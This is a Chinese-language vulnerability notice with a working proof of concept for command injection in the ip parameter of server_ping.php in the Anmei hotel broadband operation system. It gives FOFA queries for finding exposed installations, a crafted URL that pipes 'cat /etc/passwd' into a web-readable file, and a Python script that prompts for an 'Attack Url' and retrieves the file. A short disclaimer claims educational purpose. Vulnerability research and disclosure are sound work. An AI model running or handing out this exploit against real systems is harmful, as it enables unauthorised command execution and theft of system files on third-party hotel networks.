声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者无关。
文章目录
- 漏洞描述
- 漏洞复现
- 测试工具
漏洞描述
安美数字酒店宽带运营系统 server_ping.php 存在远程命令执行漏洞,漏洞文件中ip参数未过滤造成命令执行。
漏洞复现
1)fofa搜索:
app="酒店宽带运营系统"
body="酒店宽带运营"
2)构造url:
/manager/radius/server_ping.php?ip=127.0.0.1|cat%20/etc/passwd>../../pd.txt&id=1
3)访问pd.txt
得到文件
4)poc
测试工具
import base64
import requests
import random
import re
import json
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# 禁用 SSL 证书验证警告
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# 定义 POC_1 函数,用于检测目标 URL 的漏洞
def POC_1(target_url):
# 构造带有潜在漏洞的 URL,尝试执行 cat /etc/passwd 命令并写入到 pd.txt 文件
vuln_url = target_url + "/manager/radius/server_ping.php?ip=127.0.0.1|cat%20/etc/passwd>../../pd.txt&id=1"
# 设置请求头信息
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
}
try:
# 发送 GET 请求,尝试利用漏洞
response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=10)
# 打印正在执行的操作
print("\033[36m[o] 正在执行 cat /etc/passwd>../../pd.txt \033[0m")
# 检查响应内容是否包含 "parent" 字符串,以及 HTTP 状态码是否为 200
if "parent" in response.text and response.status_code == 200:
# 如果成功,尝试从 pd.txt 文件中读取 /etc/passwd 的内容
vuln_url = target_url + "/pd.txt"
response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=10)
# 检查响应内容是否包含 "root:" 字符串
if "root:" in response.text:
print("\033[36m[o] 成功执行 cat /etc/passwd, 响应为:\n{} \033[0m".format(response.text))
else:
print("\033[31m[x] 请求失败:{} \033[0m".format("未找到预期内容。"))
else:
print("\033[31m[x] 请求失败 \033[0m")
except Exception as e:
# 打印异常信息并退出程序
print("\033[31m[x] 请求失败:{} \033[0m".format(e))
sys.exit(0)
# 主函数入口
if __name__ == '__main__':
# 从用户获取攻击目标 URL
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
# 调用 POC_1 函数进行漏洞检测
POC_1(target_url)